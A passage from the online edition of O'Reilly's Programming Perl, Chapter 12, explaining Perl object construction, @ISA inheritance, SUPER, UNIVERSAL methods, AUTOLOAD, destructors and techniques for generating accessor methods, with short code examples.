This Horse constructor ignores its invocant's existing attributes when used as an instance method. You could create a second constructor designed to be called as an instance method, and if designed properly, you could use the values from the invoking object as defaults for the new one:
$steed  = Horse->new(color => "dun");
$foal   = $steed->clone(owner => "EquuGen Guild, Ltd.");

sub clone {
    my $model = shift;
    my $self  = $model->new(%$model, @_);
    return $self;     # Previously blessed by ->new
}
(You could also have rolled this functionality directly into new, but then the name wouldn't quite fit the function.)

Notice how even in the clone constructor, we don't hardcode the name of the Horse class. We have the original object invoke its own new method, whatever that may be. If we had written that as Horse->new instead of $model->new, then the class wouldn't have facilitated inheritance by a Zebra or Unicorn class. You wouldn't want to clone Pegasus and suddenly find yourself with a horse of a different color.

Sometimes, however, you have the opposite problem: rather than trying to share one constructor among several classes, you're trying to have several constructors share one class's object. This happens whenever a constructor wants to call a base class's constructor to do part of the construction work. Perl doesn't do hierarchical construction for you. That is, Perl does not automatically call the constructors (or the destructors) for any base classes of the class requested, so your constructor will have to do that itself and then add any additional attributes the derived class needs. So the situation is not unlike the clone routine, except that instead of copying an existing object into the new object, you want to call your base class's constructor and then transmogrify the new base object into your new derived object.

Previous | Home | Next
12.3. Method Invocation | Book Index | 12.5. Class Inheritance
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Class Inheritance (Programming Perl)

 Book Home Programming PerlSearch this book

12.5. Class Inheritance

As with the rest of Perl's object system, inheritance of one class by another requires no special syntax to be added to the language. When you invoke a method for which Perl finds no subroutine in the invocant's package, that package's @ISA array[5] is examined. This is how Perl implements inheritance: each element of a given package's @ISA array holds the name of another package, which is searched when methods are missing. For example, the following makes the Horse class a subclass of the Critter class. (We declare @ISA with our because it has to be a package variable, not a lexical declared with my.)

package Horse;
our @ISA = "Critter";
You should now be able to use a Horse class or object everywhere that a Critter was previously used. If your new class passes this empty subclass test, you know that Critter is a proper base class, fit for inheritance.

[5] Pronounced "is a", as in "A horse is a critter."

Suppose you have a Horse object in $steed and invoke a move method on it:

$steed->move(10);
Because $steed is a Horse, Perl's first choice for that method is the Horse::move subroutine. If there isn't one, instead of raising a run-time exception, Perl consults the first element of @Horse::ISA, which directs it to look in the Critter package for Critter::move. If this subroutine isn't found either, and Critter has its own @Critter::ISA array, then that too will be consulted for the name of an ancestral package that might supply a move method, and so on back up the inheritance hierarchy until we come to a package without an @ISA.

The situation we just described is single inheritance, where each class has only one parent. Such inheritance is like a linked list of related packages. Perl also supports multiple inheritance; just add more packages to the class's @ISA. This kind of inheritance works more like a tree data structure, because every package can have more than one immediate parent. Some people find this to be sexier.

When you invoke a method methname on an invocant of type classname, Perl tries six different ways to find a subroutine to use:

  1. First, Perl looks in the invocant's own package for a subroutine named classname::methname. If that fails, inheritance kicks in, and we go to step 2.

  2. Next, Perl checks for methods inherited from base classes by looking in all parent packages listed in @classname::ISA for a parent::methname subroutine. The search is left-to-right, recursive, and depth-first. The recursion assures that grandparent classes, great-grandparent classes, great-great-grandparent classes, and so on, are all searched.

  3. If that fails, Perl looks for a subroutine named UNIVERSAL::methname.

  4. At this point, Perl gives up on methname and starts looking for an AUTOLOAD. First, it looks for a subroutine named classname::AUTOLOAD.

  5. Failing that, Perl searches all parent packages listed in @classname::ISA, for any parent::AUTOLOAD subroutine. The search is again left-to-right, recursive, and depth-first.

  6. Finally, Perl looks for a subroutine named UNIVERSAL::AUTOLOAD.

Perl stops after the first successful attempt and invokes that subroutine. If no subroutine is found, an exception is raised, one that you'll see frequently:

Can't locate object method "methname" via package "classname"
If you've built a debugging version of Perl using the -DDEBUGGING option to your C compiler, by using Perl's -Do switch, you can watch it go through each of these steps when it resolves method invocation.

We will discuss the inheritance mechanism in more detail as we go along.

12.5.1. Inheritance Through @ISA

If @ISA contains more than one package name, the packages are all searched in left-to-right order. The search is depth-first, so if you have a Mule class set up for inheritance this way:

package Mule;
our @ISA = ("Horse", "Donkey");
Perl looks for any methods missing from Mule first in Horse (and any of its ancestors, like Critter) before going on to search through Donkey and its ancestors.

If a missing method is found in a base class, Perl internally caches that location in the current class for efficiency, so the next time it has to find the method, it doesn't have to look as far. Changing @ISA or defining new methods invalidates the cache and causes Perl to perform the lookup again.

When Perl searches for a method, it makes sure that you haven't created a circular inheritance hierarchy. This could happen if two classes inherit from one another, even indirectly through other classes. Trying to be your own great-grandfather is too paradoxical even for Perl, so the attempt raises an exception. However, Perl does not consider it an error to inherit from more than one class sharing a common ancestry, which is rather like cousins marrying. Your inheritance hierarchy just stops looking like a tree and starts to look like a directed acyclic graph. This doesn't bother Perl--so long as the graph really is acyclic.

When you set @ISA, the assignment normally happens at run time, so unless you take precautions, code in BEGIN, CHECK, or INIT blocks won't be able to use the inheritance hierarchy. One precaution (or convenience) is the use base pragma, which lets you require classes and add them to @ISA at compile time. Here's how you might use it:

package Mule;
use base ("Horse", "Donkey");   # declare superclasses
This is a shorthand for:
package Mule;
BEGIN {
    our @ISA = ("Horse", "Donkey");
    require Horse;
    require Donkey;
}
except that use base also takes into account any use fields declarations.

Sometimes folks are surprised that including a class in @ISA doesn't require the appropriate module for you. That's because Perl's class system is largely orthogonal to its module system. One file can hold many classes (since they're just packages), and one package may be mentioned in many files. But in the most common situation, where one package and one class and one module and one file all end up being pretty interchangeable if you squint enough, the use base pragma offers a declarative syntax that establishes inheritance, loads in module files, and accommodates any declared base class fields. It's one of those convenient diagonals we keep mentioning.

See the descriptions of use base and use fields in Chapter 31, "Pragmatic Modules" for further details.

12.5.2. Accessing Overridden Methods

When a class defines a method, that subroutine overrides methods of the same name in any base classes. Imagine that you've a Mule object (which is derived from class Horse and class Donkey), and you decide to invoke your object's breed method. Although the parent classes have their own breed methods, the designer of the Mule class overrode those by supplying the Mule class with its own breed method. That means the following cross is unlikely to be productive:

$stallion = Horse->new(gender => "male");
$molly = Mule->new(gender => "female");
$colt = $molly->breed($stallion);
Now suppose that through the miracle of genetic engineering, you find some way around a mule's notorious sterility problem, so you want to skip over the nonviable Mule::breed method. You could call your method as an ordinary subroutine, being sure to pass the invocant explicitly:
$colt = Horse::breed($molly, $stallion);
However, this sidesteps inheritance, which is nearly always the wrong thing to do. It's perfectly imaginable that no Horse::breed subroutine exists because both Horses and Donkeys derive that behavior from a common parent class called Equine. If, on the other hand, you want to specify that Perl should start searching for a method in a particular class, just use ordinary method invocation but qualify the method name with the class:
$colt = $molly->Horse::breed($stallion);
Occasionally, you'll want a method in a derived class to act as a wrapper around some method in a base class. The method in the derived class can itself invoke the method in the base class, adding its own actions before or after that invocation. You could use the notation just demonstrated to specify at which class to start the search. But in most cases of overridden methods, you don't want to have to know or specify which parent class's overridden method to execute.

That's where the SUPER pseudoclass comes in handy. It lets you invoke an overridden base class method without having to specify which class defined that method.[6] The following subroutine looks in the current package's @ISA without making you specify particular classes:

package Mule;
our @ISA = qw(Horse Donkey);
sub kick {
    my $self = shift;
    print "The mule kicks!\n";
    $self->SUPER::kick(@_);
}
The SUPER pseudopackage is meaningful only when used inside a method. Although the implementer of a class can employ SUPER in their own code, someone who merely uses a class's objects cannot.

[6] This is not to be confused with the mechanism mentioned in Chapter 11, "Modules" for overriding Perl's built-in functions, which aren't object methods and so aren't overridden by inheritance. You call overridden built-ins via the CORE pseudopackage, not the SUPER pseudopackage.

SUPER does not always work as you might like when multiple inheritance is involved. As you'd expect, it follows @ISA just as the regular inheritance mechanism does: in left-to-right, recursive, depth-first order. If both Horse and Donkey had a speak method, and you preferred the Donkey method, you'd have to name that parent class explicitly:

sub speak {
    my $self = shift;
    print "The mule speaks!\n";
    $self->Donkey::speak(@_);
}
More elaborate approaches to multiple inheritance situations can be crafted using the UNIVERSAL::can method described in the next section. Or you can grab the Class::Multimethods module from CPAN, which provides many elaborate solutions, including finding the closest match instead of leftmost one.

Every bit of code in Perl knows what its current package is, as determined by the last package statement. A SUPER method consults the @ISA only of the package into which the call to SUPER was compiled. It does not care about the class of the invocant, nor about the package of the subroutine that was called. This can cause problems if you try to define methods in another class by merely playing tricks with the method name:

package Bird;
use Dragonfly;
sub Dragonfly::divebomb { shift->SUPER::divebomb(@_) }

Unfortunately, this invokes Bird's superclass, not Dragonfly's. To do what you're trying to do, you need to explicitly switch into the appropriate package for the compilation of SUPER as well:

package Bird;
use Dragonfly;
{
    package Dragonfly;
    sub divebomb { shift->SUPER::divebomb(@_) }
}
As this example illustrates, you never need to edit a module file just to add methods to an existing class. Since a class is just a package, and a method just a subroutine, all you have to do is define a function in that package as we've done here, and the class suddenly has a new method. No inheritance required. Only the package matters, and since packages are global, any package can be accessed from anywhere in the program. (Did we mention we're going to install a jacuzzi in your living room next week?)

12.5.3. UNIVERSAL: The Ultimate Ancestor Class

If no method definition with the right name is found after searching the invocant's class and all its ancestor classes recursively, one more check for a method of that name is made in the special predefined class called UNIVERSAL. This package never appears in an @ISA, but is always consulted when an @ISA check fails. You can think of UNIVERSAL as the ultimate ancestor from which all classes implicitly derive.

The following predefined methods are available in class UNIVERSAL, and thus in all classes. These all work regardless of whether they are invoked as class methods or object methods.

INVOCANT->isa(CLASS)

The isa method returns true if INVOCANT's class is CLASS or any class inheriting from CLASS. Instead of a package name, CLASS may also be one of the built-in types, such as "HASH" or "ARRAY". (Checking for an exact type does not bode well for encapsulation or polymorphism, though. You should be relying on method dispatch to give you the right method.)

use FileHandle;
if (FileHandle->isa("Exporter")) {
    print "FileHandle is an Exporter.\n";
}

$fh = FileHandle->new();
if ($fh->isa("IO::Handle")) {
    print "\$fh is some sort of IOish object.\n";
}
if ($fh->isa("GLOB")) {
    print "\$fh is really a GLOB reference.\n";
}

INVOCANT->can(METHOD)

The can method returns a reference to the subroutine that would be called if METHOD were applied to INVOCANT. If no such subroutine is found, can returns undef.

if ($invocant->can("copy")) {
    print "Our invocant can copy.\n";
}
This could be used to conditionally invoke a method only if one exists:
$obj->snarl if $obj->can("snarl");
Under multiple inheritance, this allows a method to invoke all overridden base class methods, not just the leftmost one:
sub snarl {
    my $self = shift;
    print "Snarling: @_\n";
    my %seen;
    for my $parent (@ISA) {
        if (my $code = $parent->can("snarl")) {
            $self->$code(@_) unless $seen{$code}++;
        }
    }
}
We use the %seen hash to keep track of which subroutines we've already called, so we can avoid calling the same subroutine more than once. This could happen if several parent classes shared a common ancestor.

Methods that would trigger an AUTOLOAD (described in the next section) will not be accurately reported unless the package has declared (but not defined) the subroutines it wishes to have autoloaded.

INVOCANT->VERSION(NEED)

The VERSION method returns the version number of INVOCANT's class, as stored in the package's $VERSION variable. If the NEED argument is provided, it verifies that the current version isn't less than NEED and raises an exception if it is. This is the method that use invokes to determine whether a module is sufficiently recent.

use Thread 1.0;   # calls Thread->VERSION(1.0)
print "Running version ", Thread->VERSION, " of Thread.\n";
You may supply your own VERSION method to override the method in UNIVERSAL. However, this will cause any classes derived from your class to use the overridden method, too. If you don't want that to happen, you should design your method to delegate other classes' version requests back up to UNIVERSAL.

The methods in UNIVERSAL are built-in Perl subroutines, which you may call if you fully qualify them and pass two arguments, as in UNIVERSAL::isa($formobj, "HASH"). (This is not recommended, though, because can usually has the answer you're really looking for.)

You're free to add your own methods to class UNIVERSAL. (You should be careful, of course; you could really mess someone up who is expecting not to find the method name you're defining, perhaps so that they can autoload it from somewhere else.) Here we create a copy method that objects of all classes can use if they've not defined their own. (We fail spectacularly if invoked on a class instead of an object.)

use Data::Dumper;
use Carp;
sub UNIVERSAL::copy {
    my $self = shift;
    if (ref $self) {
        return eval Dumper($self);  # no CODE refs
    } else {
        confess "UNIVERSAL::copy can't copy class $self";
    }
}
This Data::Dumper strategy doesn't work if the object contains any references to subroutines, because they cannot be properly reproduced. Even if the source were available, the lexical bindings would be lost.

12.5.4. Method Autoloading

Normally, when you call an undefined subroutine in a package that defines an AUTOLOAD subroutine, the AUTOLOAD subroutine is called in lieu of raising an exception (see the section Section 12.2, "Autoloading" in Chapter 10, "Packages"). With methods, this works a little differently. If the regular method search (through the class, its ancestors, and finally UNIVERSAL) fails to find a match, the same sequence is run again, this time looking for an AUTOLOAD subroutine. If found, this subroutine is called as a method, with the package's $AUTOLOAD variable set to the fully qualified name of the subroutine on whose behalf AUTOLOAD was called.

You need to be a bit cautious when autoloading methods. First, the AUTOLOAD subroutine should return immediately if it's being called on behalf of a method named DESTROY, unless your goal was to simulate DESTROY, which has a special meaning to Perl described in the section Section 12.6, "Instance Destructors" later in this chapter.

sub AUTOLOAD {
    return if our $AUTOLOAD =~ /::DESTROY$/;
    ...
}
Second, if the class is providing an AUTOLOAD safety net, you won't be able to use UNIVERAL::can on a method name to check whether it's safe to invoke. You have to check for AUTOLOAD separately:
if ($obj->can("methname") || $obj->can("AUTOLOAD")) {
    $obj->methname();
}
Finally, under multiple inheritance, if a class inherits from two or more classes each of which has an AUTOLOAD, only the leftmost will ever be triggered, since Perl stops as soon as it finds the first AUTOLOAD.

The last two quirks are easily circumvented by declaring the subroutines in the package whose AUTOLOAD is supposed to manage those methods. You can do this either with individual declarations:

package Goblin;
sub kick;
sub bite;
sub scratch;
or with the use subs pragma, which is more convenient if you have many methods to declare:
package Goblin;
use subs qw(kick bite scratch);
Even though you've only declared these subroutines and not defined them, this is enough for the system to think they're real. They show up in a UNIVERAL::can check, and, more importantly, they show up in step 2 of the search for a method, which will never progress to step 3, let alone step 4.

"But, but," you exclaim, "they invoke AUTOLOAD, don't they?" Well, yes, they do eventually, but the mechanism is different. Having found the method stub via step 2, Perl tries to call it. When it is discovered that the method isn't all it was cracked up to be, the AUTOLOAD method search kicks in again, but this time, it starts its search in the class containing the stub, which restricts the method search to that class and its ancestors (and UNIVERSAL). That's how Perl finds the correct AUTOLOAD to run and knows to ignore AUTOLOADs from the wrong part of the original inheritance tree.

12.5.5. Private Methods

There is one way to invoke a method so that Perl ignores inheritance altogether. If instead of a literal method name, you specify a simple scalar variable containing a reference to a subroutine, then the subroutine is called immediately. In the description of UNIVERSAL->can in the previous section, the last example invokes all overridden methods using the subroutine's reference, not its name.

An intriguing aspect of this behavior is that it can be used to implement private method calls. If you put your class in a module, you can make use of the file's lexical scope for privacy. First, store an anonymous subroutine in a file-scoped lexical:

# declare private method
my $secret_door = sub {
    my $self = shift;
    ...
};
Later on in the file, you can use that variable as though it held a method name. The closure will be called directly, without regard to inheritance. As with any other method, the invocant is passed as an extra argument.
sub knock {
    my $self = shift;
    if ($self->{knocked}++ > 5) {
        $self->$secret_door();
    }
}
This enables the file's own subroutines (the class methods) to invoke a method that code outside that lexical scope cannot access.

Previous | Home | Next
12.4. Object Construction | Book Index | 12.6. Instance Destructors
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Instance Destructors (Programming Perl)

 Book Home Programming PerlSearch this book

12.6. Instance Destructors

As with any other referent in Perl, when the last reference to an object goes away, its memory is implicitly recycled. With an object, you have the opportunity to capture control just as this is about to happen by defining a DESTROY subroutine in the class's package. This method is triggered automatically at the appropriate moment, with the about-to-be-recycled object as its only argument.

Destructors are rarely needed in Perl, because memory management is handled automatically for you. Some objects, though, may have state outside the memory system that you'd like to attend to, such as filehandles or database connections.

package MailNotify;
sub DESTROY {
    my $self = shift;
    my $fh   = $self->{mailhandle};
    my $id   = $self->{name};
    print $fh "\n$id is signing off at " . localtime() . "\n";
    close $fh;  # close pipe to mailer
}

Just as Perl uses only a single method to construct an object even when the constructor's class inherits from one or more other classes, Perl also uses only one DESTROY method per object destroyed regardless of inheritance. In other words, Perl does not do hierarchical destruction for you. If your class overrides a superclass's destructor, then your DESTROY method may need to invoke the DESTROY method for any applicable base classes:

sub DESTROY {
    my $self = shift;
    # check for an overridden destructor...
    $self->SUPER::DESTROY if $self->can("SUPER::DESTROY");
    # now do your own thing before or after
}
This applies only to inherited classes; an object that is simply contained within the current object--as, for example, one value in a larger hash--will be freed and destroyed automatically. This is one reason why containership via mere aggregation (sometimes called a "has-a" relationship) is often cleaner and clearer than inheritance (an "is-a" relationship). In other words, often you really only need to store one object inside another directly instead of through inheritance, which can add unnecessary complexity. Sometimes when users reach for multiple inheritance, single inheritance will suffice.

Explicitly calling DESTROY is possible but seldom needed. It might even be harmful since running the destructor more than once on the same object could prove unpleasant.

12.6.1. Garbage Collection with DESTROY Methods

As described in the section Section 12.5.2, "Garbage Collection, Circular References, and Weak References" in Chapter 8, "References", a variable that refers to itself (or multiple variables that refer to one another indirectly) will not be freed until the program (or embedded interpreter) is about to exit. If you want to reclaim the memory any earlier, you usually have to explicitly break the reference or weaken it using the WeakRef module on CPAN.

With objects, an alternative solution is to create a container class that holds a pointer to the self-referential data structure. Define a DESTROY method for the containing object's class that manually breaks the circularities in the self-referential structure. You can find an example of this in Chapter 13 of the Perl Cookbook in the recipe 13.13, "Coping with Circular Data Structures".

When an interpreter shuts down, all its objects are destroyed, which is important for multithreaded or embedded Perl applications. Objects are always destroyed in a separate pass before ordinary references. This is to prevent DESTROY methods from using references that have themselves been destroyed. (And also because plain references are only garbage-collected in embedded interpreters, since exiting a process is a very fast way of reclaiming references. But exiting won't run the object destructors, so Perl does that first.)

Previous | Home | Next
12.5. Class Inheritance | Book Index | 12.7. Managing Instance Data
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Managing Instance Data (Programming Perl)

 Book Home Programming PerlSearch this book

12.7. Managing Instance Data

Most classes create objects that are essentially just data structures with several internal data fields (instance variables) plus methods to manipulate them.

Perl classes inherit methods, not data, but as long as all access to the object is through method calls anyway, this works out fine. If you want data inheritance, you have to effect it through method inheritance. By and large, this is not a necessity in Perl, because most classes store the attributes of their object in an anonymous hash. The object's instance data is contained within this hash, which serves as its own little namespace to be carved up by whatever classes do something with the object. For example, if you want an object called $city to have a data field named elevation, you can simply access $city->{elevation}. No declarations are necessary. But method wrappers have their uses.

Suppose you want to implement a Person object. You decide to have a data field called "name", which by a strange coincidence you'll store under the key name in the anonymous hash that will serve as the object. But you don't want users touching the data directly. To reap the rewards of encapsulation, users need methods to access that instance variable without lifting the veil of abstraction.

For example, you might make a pair of accessor methods:

sub get_name {
    my $self = shift;
    return $self->{name};
}

sub set_name {
    my $self      = shift;
    $self->{name} = shift;
}
which leads to code like this:
$him = Person->new();
$him->set_name("Frodo");
$him->set_name( ucfirst($him->get_name) );
You could even combine both methods into one:
sub name {
    my $self = shift;
    if (@_) { $self->{name} = shift }
    return $self->{name};
}
This would then lead to code like this:
$him = Person->new();
$him->name("Frodo");
$him->name( ucfirst($him->name) );
The advantage of writing a separate function for each instance variable (which for our Person class might be name, age, height, and so on) is that it is direct, obvious, and flexible. The drawback is that every time you want a new class, you end up defining one or two nearly identical methods per instance variable. This isn't too bad for the first few, and you're certainly welcome to do it that way if you'd like. But when convenience is preferred over flexibility, you might prefer one of the techniques described in the following sections.

Note that we will be varying the implementation, not the interface. If users of your class respect the encapsulation, you'll be able to transparently swap one implementation for another without the users noticing. (Family members in your inheritance tree using your class for a subclass or superclass might not be so forgiving, since they know you far better than strangers do.) If your users have been peeking and poking into the private affairs of your class, the inevitable disaster is their own fault and none of your concern. All you can do is live up to your end of the contract by maintaining the interface. Trying to stop everyone else in the world from ever doing something slightly wicked will take up all your time and energy--and in the end, fail anyway.

Dealing with family members is more challenging. If a subclass overrides a superclass's attribute accessor, should it access the same field in the hash, or not? An argument can be made either way, depending on the nature of the attribute. For the sake of safety in the general case, each accessor can prefix the name of the hash field with its own classname, so that subclass and superclass can both have their own version. Several of the examples below, including the standard Struct::Class module, use this subclass-safe strategy. You'll see accessors resembling this:

sub name {
    my $self = shift;
    my $field = __PACKAGE__ . "::name";
    if (@_) { $self->{$field} = shift }
    return $self->{$field};
}
In each of the following examples, we create a simple Person class with fields name, race, and aliases, each with an identical interface but a completely different implementation. We're not going to tell you which one we like the best, because we like them all the best, depending on the occasion. And tastes differ. Some folks prefer stewed conies; others prefer fissssh.

12.7.1. Field Declarations with use fields

Objects don't have to be implemented as anonymous hashes. Any reference will do. For example, if you used an anonymous array, you could set up a constructor like this:

sub new {
    my $invocant = shift;
    my $class = ref($invocant) || $invocant;
    return bless [], $class;
}
and have accessors like these:
sub name {
    my $self = shift;
    if (@_) { $self->[0] = shift }
    return $self->[0];
}

sub race {
    my $self = shift;
    if (@_) { $self->[1] = shift }
    return $self->[1];
}

sub aliases {
    my $self = shift;
    if (@_) { $self->[2] = shift }
    return $self->[2];
}
Arrays are somewhat faster to access than hashes and don't take up quite as much memory, but they're not at all convenient to use. You have to keep track of the index numbers (not just in your class, but in your superclass, too), which must somehow indicate which pieces of the array your class is using. Otherwise, you might reuse a slot.

The use fields pragma addresses all of these points:

package Person;
use fields qw(name race aliases);
This pragma does not create accessor methods for you, but it does rely on some built-in magic (called pseudohashes) to do something similar. (You may wish to wrap accessors around the fields anyway, as we do in the following example.) Pseudohashes are array references that you can use like hashes because they have an associated key map table. The use fields pragma sets this key map up for you, effectively declaring which fields are valid for the Person object; this makes the Perl compiler aware of them. If you declare the type of your object variable (as in my Person $self, in the next example), the compiler is smart enough to optimize access to the fields into straight array accesses. Perhaps more importantly, it validates field names for type safety (well, typo safety, really) at compile time. (See the section Section 12.3.5, "Pseudohashes" in Chapter 8, "References".)

A constructor and sample accessors would look like this:

package Person;
use fields qw(name race aliases);
sub new {
    my $type = shift;
    my Person $self = fields::new(ref $type || $type);
    $self->{name} = "unnamed";
    $self->{race}  = "unknown";
    $self->{aliases} = [];
    return $self;
}
sub name {
    my Person $self = shift;
    $self->{name} = shift if @_;
    return $self->{name};
}
sub race {
    my Person $self = shift;
    $self->{race} = shift if @_;
    return $self->{race};
}
sub aliases {
    my Person $self = shift;
    $self->{aliases} = shift if @_;
    return $self->{aliases};
}
1;
If you misspell one of the literal keys used to access the pseudohash, you won't have to wait until run time to learn about this. The compiler knows what type of object $self is supposed to refer to (because you told it), so it can check that the code accesses only those fields that Person objects actually have. If you have horses on the brain and try to access a nonexistent field (such as $self->{mane}), the compiler can flag this error right away and will never turn the erroneous program over to the interpreter to run.

There's still a bit of repetition in declaring methods to get at instance variables, so you still might like to automate the creation of simple accessor methods using one of the techniques below. However, because all these techniques use some sort of indirection, if you use them, you will lose the compile-time benefits of typo-checking lexically typed hash accesses. You'll still keep the (small) time and space advantages, though.

If you do elect to use a pseudohash to implement your class, any class that inherits from this one must be aware of that underlying pseudohash implementation. If an object is implemented as a pseudohash, all participants in the inheritance hierarchy should employ the use base and use fields declarations. For example,

package Wizard;
use base "Person";
use fields qw(staff color sphere);
This makes the Wizard module a subclass of class Person, and loads the Person.pm file. It also registers three new fields in this class to go along with those from Person. That way when you write:
my Wizard $mage = fields::new("Wizard");
you'll get a pseudohash object with access to both classes' fields:
$mage->name("Gandalf");
$mage->color("Grey");

Since all subclasses must know that they are using a pseudohash implementation, they should use the direct pseudohash notation for both efficiency and type safety:

$mage->{name} = "Gandalf";
$mage->{color} = "Grey";
If you want to keep your implementations interchangeable, however, outside users of your class must use the accessor methods.

Although use base supports only single inheritance, this is seldom a severe restriction. See the descriptions of use base and use fields in Chapter 31, "Pragmatic Modules".

12.7.2. Generating Classes with Class::Struct

The standard Class::Struct module exports a function named struct. This creates all the trapping you'll need to get started on an entire class. It generates a constructor named new, plus accessor methods for each of the data fields (instance variables) named in that structure.

For example, if you put the class in a Person.pm file:

package Person;
use Class::Struct;
struct Person => {    # create a definition for a "Person"
    name    => '$',   #    name field is a scalar
    race    => '$',   #    race field is also a scalar
    aliases => '@',   #    but aliases field is an array ref
};
1;
Then you could use that module this way:
use Person;
my $mage = Person->new();
$mage->name("Gandalf");
$mage->race("Istar");
$mage->aliases( ["Mithrandir", "Olorin", "Incanus"] );
The Class::Struct module created all four of those methods. Because it follows the subclass-safe policy of always prefixing the field name with the class name, it also permits an inherited class to have its own separate field of the same name as a base class field without conflict. That means in this case that "Person::name" rather than just "name" is used for the hash key for that particular instance variable.

Fields in a struct declaration don't have to be basic Perl types. They can also specify other classes, but classes created with struct work best because the function makes assumptions about how the classes behave that aren't generally true of all classes. For example, the new method for the appropriate class is invoked to initialize the field, but many classes have constructors with other names.

See the description of Class::Struct in Chapter 32, "Standard Modules", and its online documentation for more information. Many standard modules use Class::Struct to implement their classes, including User::pwent and Net::hostent. Reading their code can prove instructive.

12.7.3. Generating Accessors with Autoloading

As we mentioned earlier, when you invoke a nonexistent method, Perl has two different ways to look for an AUTOLOAD method, depending on whether you declared a stub method. You can use this property to provide access to the object's instance data without writing a separate function for each instance. Inside the AUTOLOAD routine, the name of the method actually invoked can be retrieved from the $AUTOLOAD variable. Consider the following code:

use Person;
$him = Person->new;
$him->name("Aragorn");
$him->race("Man");
$him->aliases( ["Strider", "Estel", "Elessar"] );
printf "%s is of the race of %s.\n", $him->name, $him->race;
print "His aliases are: ", join(", ", @{$him->aliases}), ".\n";
As before, this version of the Person class implements a data structure with three fields: name, race, and aliases:
package Person;
use Carp;

my %Fields = (
    "Person::name"  => "unnamed",
    "Person::race"   => "unknown",
    "Person::aliases"  => [],
);

# The next declaration guarantees we get our own autoloader.
use subs qw(name race aliases);

sub new {
    my $invocant = shift;
    my $class = ref($invocant) || $invocant;
    my $self  = { %Fields, @_ };    # clone like Class::Struct
    bless $self, $class;
    return $self;
}

sub AUTOLOAD {
    my $self = shift;
    # only handle instance methods, not class methods
    croak "$self not an object" unless ref($invocant);
    my $name = our $AUTOLOAD;
    return if $name =~ /::DESTROY$/;
    unless (exists $self->{$name}) {
        croak "Can't access `$name' field in $self";
    }
    if (@_) { return $self->{$name} = shift }
    else    { return $self->{$name} }
}
As you see, there are no methods named name, race, or aliases anywhere to be found. The AUTOLOAD routine takes care of all that. When someone uses $him->name("Aragorn"), the AUTOLOAD subroutine is called with $AUTOLOAD set to "Person::name". Conveniently, by leaving it fully qualified, it's in exactly the right form for accessing fields of the object hash. That way if you use this class as part of a larger class hierarchy, you don't conflict with uses of the same name in other classes.

12.7.4. Generating Accessors with Closures

Most accessor methods do essentially the same thing: they simply fetch or store a value from that instance variable. In Perl, the most natural way to create a family of near-duplicate functions is looping around a closure. But closures are anonymous functions lacking names, and methods need to be named subroutines in the class's package symbol table so that they can be called by name. This is no problem--just assign the closure reference to a typeglob of the appropriate name.

package Person;

sub new {
    my $invocant = shift;
    my $self = bless({}, ref $invocant || $invocant);
    $self->init();
    return $self;
}

sub init {
    my $self = shift;
    $self->name("unnamed");
    $self->race("unknown");
    $self->aliases([]);
}

for my $field (qw(name race aliases)) {
    my $slot = __PACKAGE__ . "::$field";
    no strict "refs";          # So symbolic ref to typeglob works.

    *$field = sub {
        my $self = shift;
        $self->{$slot} = shift if @_;
        return $self->{$slot};
    };
}
Closures are the cleanest hand-rolled way to create a multitude of accessor methods for your instance data. It's efficient for both the computer and you. Not only do all the accessors share the same bit of code (they only need their own lexical pads), but later if you decide to add another attribute, the changes required are minimal: just add one more word to the for loop's list, and perhaps something to the init method.

12.7.5. Using Closures for Private Objects

So far, these techniques for managing instance data have offered no mechanism for "protection" from external access. Anyone outside the class can open up the object's black box and poke about inside--if they don't mind voiding the warranty. Enforced privacy tends to get in the way of people trying to get their jobs done. Perl's philosophy is that it's better to encapsulate one's data with a sign that says:

IN CASE OF FIRE
  BREAK GLASS
You should respect such encapsulation when possible, but still have easy access to the contents in an emergency situation, like for debugging.

But if you do want to enforce privacy, Perl isn't about to get in your way. Perl offers low-level building blocks that you can use to surround your class and its objects with an impenetrable privacy shield--one stronger, in fact, than that found in many popular object-oriented languages. Lexical scopes and the lexical variables inside them are the key components here, and closures play a pivotal role.

In the section Section 12.5.5, "Private Methods" we saw how a class can use closures to implement methods that are invisible outside the module file. Later we'll look at accessor methods that regulate class data so private that not even the rest of the class has unrestricted access. Those are still fairly traditional uses of closures. The truly interesting approach is to use a closure as the very object itself. The object's instance variables are locked up inside a scope to which the object alone--that is, the closure--has free access. This is a very strong form of encapsulation; not only is it proof against external tampering, even other methods in the same class must use the proper access methods to get at the object's instance data.

Here's an example of how this might work. We'll use closures both for the objects themselves and for the generated accessors:

package Person;
sub new {
    my $invocant  = shift;
    my $class = ref($invocant) || $invocant;
    my $data = {
       NAME     => "unnamed",
       RACE     => "unknown",
       ALIASES  => [],
    };
    my $self = sub {
       my $field = shift;
       #############################
       ### ACCESS CHECKS GO HERE ###
       #############################
       if (@_) { $data->{$field} = shift }
       return    $data->{$field};
    };
    bless($self, $class);
    return $self;
}
# generate method names
for my $field (qw(name race aliases)) {
    no strict "refs";  # for access to the symbol table
    *$field = sub {
        my $self = shift;
        return $self->(uc $field, @_);
    };
}
The object created and returned by the new method is no longer a hash, as it was in other constructors we've looked at. It's a closure with unique access to the attribute data stored in the hash referred to by $data. Once the constructor call is finished, the only access to $data (and hence to the attributes) is via the closure.

In a call like $him->name("Bombadil"), the invoking object stored in $self is the closure that was blessed and returned by the constructor. There's not a lot one can do with a closure beyond calling it, so we do just that with $self->(uc $field, @_). Don't be fooled by the arrow; this is just a regular indirect function call, not a method invocation. The initial argument is the string "name", and any remaining arguments are whatever else was passed in.[7] Once we're executing inside the closure, the hash reference inside $data is again accessible. The closure is then free to permit or deny access to whatever it pleases.

[7] Sure, the double-function call is slow, but if you wanted fast, would you really be using objects in the first place?

No one outside the closure object has unmediated access to this very private instance data, not even other methods in the class. They could try to call the closure the way the methods generated by the for loop do, perhaps setting an instance variable the class never heard of. But this approach is easily blocked by inserting various bits of code in the constructor where you see the comment about access checks. First, we need a common preamble:

use Carp;
local $Carp::CarpLevel = 1;  # Keeps croak messages short
my ($cpack, $cfile) = caller();
Now for each of the checks. The first one makes sure the specified attribute name exists:
croak "No valid field '$field' in object"
    unless exists $data->{$field};
This one allows access only by callers from the same file:
carp "Unmediated access denied to foreign file"
    unless $cfile eq __FILE__;
This one allows access only by callers from the same package:
carp "Unmediated access denied to foreign package ${cpack}::"
    unless $cpack eq __PACKAGE__;
And this one allows access only by callers whose classes inherit ours:
